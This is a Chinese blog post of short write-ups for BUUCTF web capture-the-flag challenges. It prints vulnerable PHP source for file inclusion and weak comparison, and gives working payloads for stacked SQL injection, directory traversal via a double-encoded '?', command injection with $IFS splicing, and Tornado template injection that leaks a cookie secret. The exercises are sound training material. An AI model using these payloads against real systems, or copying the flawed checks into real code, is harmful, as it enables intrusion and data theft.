C/C++教程

BUUCTF刷题系列

本文主要是介绍BUUCTF刷题系列,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

[HCTF 2018]WarmUp

查看网页源代码,得到source.php
在这里插入图片描述
可以得到

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

里面还有一个hint.php查看得到
flag not here, and flag in ffffllllaaaagggg

 if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {

可以看出只要file不为空,并且file是字符串,并且让这个类返回true即可

其实我们只需要利用第三个if语句,就可以,当然第四个也可以
在这里插入图片描述
?file=source.php%253F…/…/…/…/…/ffffllllaaaagggg
这样也是可以的

EasySQL

在这里插入图片描述
梭哈

Havefun

在这里插入图片描述
在这里插入图片描述
ak了

随便注

众所周知,这是一个堆叠注入,2333
在这里插入图片描述
-1’;show databases;#
在这里插入图片描述
-1’;show tables#
在这里插入图片描述
-1’;desc `1919810931114514`#
在这里插入图片描述

-1’;desc words#
在这里插入图片描述
由此可知,我们是在words这个表里面查询

猜一波是后端是select id,data from words where id = ‘$_GET[id]’;
然后就是堆叠注入的常用手段了
首先是改名字
把1919810931114514的名字改成words,words随便给换掉,然后把flag换成id就可以了,这个就不详述了

1’;rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character utf8_general_ci NOT NULL;#

预定义
-1’;sEt @a=concat(“sel”,“ect * from `1919810931114514`”);Prepare x from @a;execute x;#
handler

  • handler tbl_name open as yunensec; #指定数据表进行载入并将返回句柄重命名
  • handler tbl_name read first; #读取指定表/句柄的首行数据
  • handler tbl_name read next; #读取指定表/句柄的下一行数据
  • handler tbl_name read next; #读取指定表/句柄的下一行数据

  • handler yunensec close; #关闭句柄

-1’;handler `1919810931114514` open ;handler `1919810931114514` read first;#

[ACTF2020 新生赛]Include

在这里插入图片描述
suoha

[SUCTF 2019]EasySQL

通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名
from 表名,进一步进行猜测即为select post进去的数据||flag from
Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用。 解法1 输入的内容为*,1
内置的sql语句为s q l = " s e l e c t " . sql = “select
“.sql=“select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select
*,1 from Flag,也就是直接查询出了Flag表中的所有内容

解法2 输入的内容为1;set sql_mode=pipes_as_concat;select 1 其中set
sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag

[极客大挑战 2019]Secret File

在这里插入图片描述
进入之后点击secret,看来得抓包
在这里插入图片描述
然后发现这个

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

在这里插入图片描述
梭哈

[ACTF2020 新生赛]Exec

在这里插入图片描述
梭哈

[极客大挑战 2019]LoveSQL

在这里插入图片描述
联合注入梭哈

[GXYCTF2019]Ping Ping Ping

过滤了很多,只能用变量拼接了

http://800ca9ad-cb6f-42c5-9158-e35ccb644ecc.node4.buuoj.cn/?ip=1;a=g;tac$IFS$1fla$a.php

[极客大挑战 2019]Knife

在这里插入图片描述

suoha

[极客大挑战 2019]Http

在这里插入图片描述
抓包看看
在这里插入图片描述

第一步referer
第二步user-agent
第三步X-Forwarded-For
完成

[RoarCTF 2019]Easy Calc

php字符串解析的特性
? num=scandir(’/’);
在这里插入图片描述

[护网杯 2018]easy_tornado

handler是RequestHandler的别名(这大小写我查不到啊,到底是小写handler还是大写Handler?哭了)而上面又提到RequestHandler.settings是self.application.settings的别名。所以handler.settings就等于RequestHandler.application.settings。这个self是oneself的意思,哪个对象用就是哪个对象的.application.settings。
所以最后就是cookie_secret在RequestHandler.application.settings里
用handler.settings访问RequestHandler.application.settings

/error?msg={{handler.settings}}

得到cookie_secret之后自己md5加密一下就行了

在这里插入图片描述

[极客大挑战 2019]Upload

在这里插入图片描述
suoha

[极客大挑战 2019]BabySQL

过滤全部都可以双写绕过,所以和没waf一样。。。
ak了

Backupfile

扫描完之后打开文件

	include_once "flag.php";//包含flag文件

	if(isset($_GET['key'])) {//获取key参数
	    $key = $_GET['key'];
	    if(!is_numeric($key)) {//判断key是否为数值OR数字字符串,不仅可以检查10进制,16进制也可以
	        exit("Just num!");//不是则退出脚本
	    }
	    $key = intval($key);//获取变量整数数值
	    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
	    if($key == $str) {//弱比较
	        echo $flag;
	    }
	}
	else {
	    echo "Try to find out source file!";
	}


key=123
基础题目
ak了

这篇关于BUUCTF刷题系列的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!